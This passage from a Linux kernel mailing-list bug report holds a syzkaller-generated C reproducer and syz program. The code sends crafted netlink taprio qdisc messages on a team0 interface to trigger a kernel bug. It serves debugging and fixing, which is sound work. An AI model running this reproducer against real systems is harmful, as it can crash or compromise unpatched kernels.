":syz1:M:1:\x02::./file0:POC"); > > } > > > > static void execute_one(void); > > > > #define WAIT_FLAGS __WALL > > > > static void loop(void) { > > int iter = 0; > > for (;; iter++) { > > int pid = fork(); > > if (pid < 0) exit(1); > > if (pid == 0) { > > setup_test(); > > execute_one(); > > close_fds(); > > exit(0); > > } > > int status = 0; > > uint64_t start = current_time_ms(); > > for (;;) { > > if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; > > sleep_ms(1); > > if (current_time_ms() - start < 5000) continue; > > kill_and_wait(pid, &status); > > break; > > } > > } > > } > > > > uint64_t r[6] = {0xffffffffffffffff, 0x0, > > 0xffffffffffffffff, 0xffffffffffffffff, > > 0xffffffffffffffff, 0xffffffffffffffff}; > > > > void execute_one(void) { > > intptr_t res = 0; > > res = syscall(__NR_socket, /*domain=*/0x11ul, /*type=*/0x800000003ul, > > /*proto=*/0); > > if (res != -1) r[0] = res; > > memcpy((void*)0x20000600, "team0\000\000\000\000\000\000\000\000\000\000\000", > > 16); > > res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x8933, /*arg=*/0x20000600ul); > > if (res != -1) r[1] = *(uint32_t*)0x20000610; > > res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); > > if (res != -1) r[2] = res; > > *(uint64_t*)0x200007c0 = 0; > > *(uint32_t*)0x200007c8 = 0; > > *(uint64_t*)0x200007d0 = 0x20000780; > > *(uint64_t*)0x20000780 = 0x200002c0; > > *(uint32_t*)0x200002c0 = 0xb8; > > *(uint16_t*)0x200002c4 = 0x24; > > *(uint16_t*)0x200002c6 = 0xf0b; > > *(uint32_t*)0x200002c8 = 0; > > *(uint32_t*)0x200002cc = 0; > > *(uint8_t*)0x200002d0 = 0; > > *(uint8_t*)0x200002d1 = 0; > > *(uint16_t*)0x200002d2 = 0x12; > > *(uint32_t*)0x200002d4 = r[1]; > > *(uint16_t*)0x200002d8 = 0; > > *(uint16_t*)0x200002da = 0; > > *(uint16_t*)0x200002dc = -1; > > *(uint16_t*)0x200002de = -1; > > *(uint16_t*)0x200002e0 = 0; > > *(uint16_t*)0x200002e2 = 0; > > *(uint16_t*)0x200002e4 = 0xb; > > *(uint16_t*)0x200002e6 = 1; > > memcpy((void*)0x200002e8, "taprio\000", 7); > > *(uint16_t*)0x200002f0 = 0x88; > > *(uint16_t*)0x200002f2 = 2; > > *(uint16_t*)0x200002f4 = 0x56; > > *(uint16_t*)0x200002f6 = 1; > > *(uint8_t*)0x200002f8 = 2; > > *(uint8_t*)0x200002f9 = 0; > > *(uint8_t*)0x200002fa = 0; > > *(uint8_t*)0x200002fb = 0; > > *(uint8_t*)0x200002fc = 0; > > *(uint8_t*)0x200002fd = 0; > > *(uint8_t*)0x200002fe = 0; > > *(uint8_t*)0x200002ff = 0; > > *(uint8_t*)0x20000300 = 0; > > *(uint8_t*)0x20000301 = 0; > > *(uint8_t*)0x20000302 = 0; > > *(uint8_t*)0x20000303 = 0; > > *(uint8_t*)0x20000304 = 0; > > *(uint8_t*)0x20000305 = 0; > > *(uint8_t*)0x20000306 = 0; > > *(uint8_t*)0x20000307 = 0; > > *(uint8_t*)0x20000308 = 0; > > *(uint8_t*)0x20000309 = 0; > > *(uint16_t*)0x2000030a = 8; > > *(uint16_t*)0x2000030c = 4; > > *(uint16_t*)0x2000030e = 0; > > *(uint16_t*)0x20000310 = 0; > > *(uint16_t*)0x20000312 = 0; > > *(uint16_t*)0x20000314 = 0; > > *(uint16_t*)0x20000316 = 0; > > *(uint16_t*)0x20000318 = 0; > > *(uint16_t*)0x2000031a = 0; > > *(uint16_t*)0x2000031c = 0; > > *(uint16_t*)0x2000031e = 0; > > *(uint16_t*)0x20000320 = 0; > > *(uint16_t*)0x20000322 = 0; > > *(uint16_t*)0x20000324 = 0; > > *(uint16_t*)0x20000326 = 0; > > *(uint16_t*)0x20000328 = 0; > > *(uint16_t*)0x2000032a = 0; > > *(uint16_t*)0x2000032c = 8; > > *(uint16_t*)0x2000032e = 0; > > *(uint16_t*)0x20000330 = 0; > > *(uint16_t*)0x20000332 = 0; > > *(uint16_t*)0x20000334 = 0; > > *(uint16_t*)0x20000336 = 0; > > *(uint16_t*)0x20000338 = 0; > > *(uint16_t*)0x2000033a = 0; > > *(uint16_t*)0x2000033c = 0; > > *(uint16_t*)0x2000033e = 0; > > *(uint16_t*)0x20000340 = 0; > > *(uint16_t*)0x20000342 = 0; > > *(uint16_t*)0x20000344 = 0; > > *(uint16_t*)0x20000346 = 0xd3a6; > > *(uint16_t*)0x20000348 = 0; > > *(uint16_t*)0x2000034c = 8; > > *(uint16_t*)0x2000034e = 5; > > *(uint32_t*)0x20000350 = 0; > > *(uint16_t*)0x20000354 = 0x18; > > STORE_BY_BITMASK(uint16_t, , 0x20000356, 2, 0, 14); > > STORE_BY_BITMASK(uint16_t, , 0x20000357, 0, 6, 1); > > STORE_BY_BITMASK(uint16_t, , 0x20000357, 1, 7, 1); > > *(uint16_t*)0x20000358 = 0x14; > > STORE_BY_BITMASK(uint16_t, , 0x2000035a, 1, 0, 14); > > STORE_BY_BITMASK(uint16_t, , 0x2000035b, 0, 6, 1); > > STORE_BY_BITMASK(uint16_t, , 0x2000035b, 1, 7, 1); > > *(uint16_t*)0x2000035c = 8; > > *(uint16_t*)0x2000035e = 4; > > *(uint32_t*)0x20000360 = 0x4000000; > > *(uint16_t*)0x20000364 = 8; > > *(uint16_t*)0x20000366 = 3; > > *(uint32_t*)0x20000368 = 3; > > *(uint16_t*)0x2000036c = 0xc; > > *(uint16_t*)0x2000036e = 3; > > *(uint64_t*)0x20000370 = 8; > > *(uint64_t*)0x20000788 = 0xb8; > > *(uint64_t*)0x200007d8 = 1; > > *(uint64_t*)0x200007e0 = 0; > > *(uint64_t*)0x200007e8 = 0; > > *(uint32_t*)0x200007f0 = 0; > > syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x200007c0ul, /*f=*/0ul); > > res = syscall(__NR_socket, /*domain=*/0x11ul, /*type=*/0x800000003ul, > > /*proto=*/0); > > if (res != -1) r[3] = res; > > memcpy((void*)0x20000600, "team0\000\000\000\000\000\000\000\000\000\000\000", > > 16); > > res = syscall(__NR_ioctl, /*fd=*/r[3], /*cmd=*/0x8933, /*arg=*/0x20000600ul); > > if (res != -1) r[4] = *(uint32_t*)0x20000610; > > res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); > > if (res != -1) r[5] = res; > > *(uint64_t*)0x200007c0 = 0; > > *(uint32_t*)0x200007c8 = 0; > > *(uint64_t*)0x200007d0 = 0x20000780; > > *(uint64_t*)0x20000780 = 0x200002c0; > > memcpy((void*)0x200002c0, > > "\xb8\x00\x00\x00\x24\x00\x8d\xb0\xb1\x76\xe8\x6a\xcf\x40\xbc\x69\xf8" > > "\x0b\x0f\x00", > > 20); > > *(uint32_t*)0x200002d4 = r[4]; > > *(uint64_t*)0x20000788 = 0xb8; > > *(uint64_t*)0x200007d8 = 1; > > *(uint64_t*)0x200007e0 = 0; > > *(uint64_t*)0x200007e8 = 0; > > *(uint32_t*)0x200007f0 = 0; > > syscall(__NR_sendmsg, /*fd=*/r[5], /*msg=*/0x200007c0ul, /*f=*/0ul); > > } > > int main(void) { > > syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, > > /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); > > syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, > > /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); > > syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, > > /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); > > setup_binfmt_misc(); > > do_sandbox_none(); > > return 0; > > } > > > > =* repro.txt =* > > r0 = socket(0x11, 0x800000003, 0x0) > > ioctl$ifreq_SIOCGIFINDEX_team(r0, 0x8933, > > &(0x7f0000000600)={'team0\x00', <r1=>0x0}) > > r2 = socket$netlink(0x10, 0x3, 0x0) > > sendmsg$nl_route_sched(r2, &(0x7f00000007c0)={0x0, 0x0, > > &(0x7f0000000780)={&(0x7f00000002c0)=@...qdisc={0xb8, 0x24, 0xf0b, > > 0x0, 0x0, {0x0, 0x0, 0x12, r1, {}, {0xffff, 0xffff}}, > > [@qdisc_kind_options=@...aprio={{0xb}, {0x88, 0x2, > > [@TCA_TAPRIO_ATTR_PRIOMAP={0x56, 0x1, {0x2, [], 0x0, [0x8, 0x4], [0x0, > > 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, > > 0xd3a6]}}, @TCA_TAPRIO_ATTR_SCHED_CLOCKID={0x8}, > > @TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST={0x18, 0x2, 0x0, 0x1, [{0x14, 0x1, > > 0x0, 0x1, [@TCA_TAPRIO_SCHED_ENTRY_INTERVAL={0x8, 0x4, 0x4000000}, > > @TCA_TAPRIO_SCHED_ENTRY_GATE_MASK={0x8, 0x3, 0x3}]}]}, > > @TCA_TAPRIO_ATTR_SCHED_BASE_TIME={0xc, 0x3, 0x8}]}}]}, 0xb8}}, 0x0) > > r3 = socket(0x11, 0x800000003, 0x0) > > ioctl$ifreq_SIOCGIFINDEX_team(r3, 0x8933, > > &(0x7f0000000600)={'team0\x00', <r4=>0x0}) > > r5 = socket$netlink(0x10, 0x3, 0x0) > > sendmsg$nl_route_sched(r5, &(0x7f00000007c0)={0x0, 0x0, > > &(0x7f0000000780)={&(0x7f00000002c0)=ANY=[@ANYBLOB="b800000024008db0b176e86acf40bc69f80b0f00", > > @ANYRES32=r4, @ANYBLOB], 0xb8}}, 0x0) > > > > > > and see also in > > https://gist.github.com/xrivendell7/0e66bb071d535979eb51a76e149de1a0 > > > > I hope it helps. > > > > Best regards. > > xingwei Lee Best regards and merry christmas. xingwei Lee
Powered by blists - more mailing lists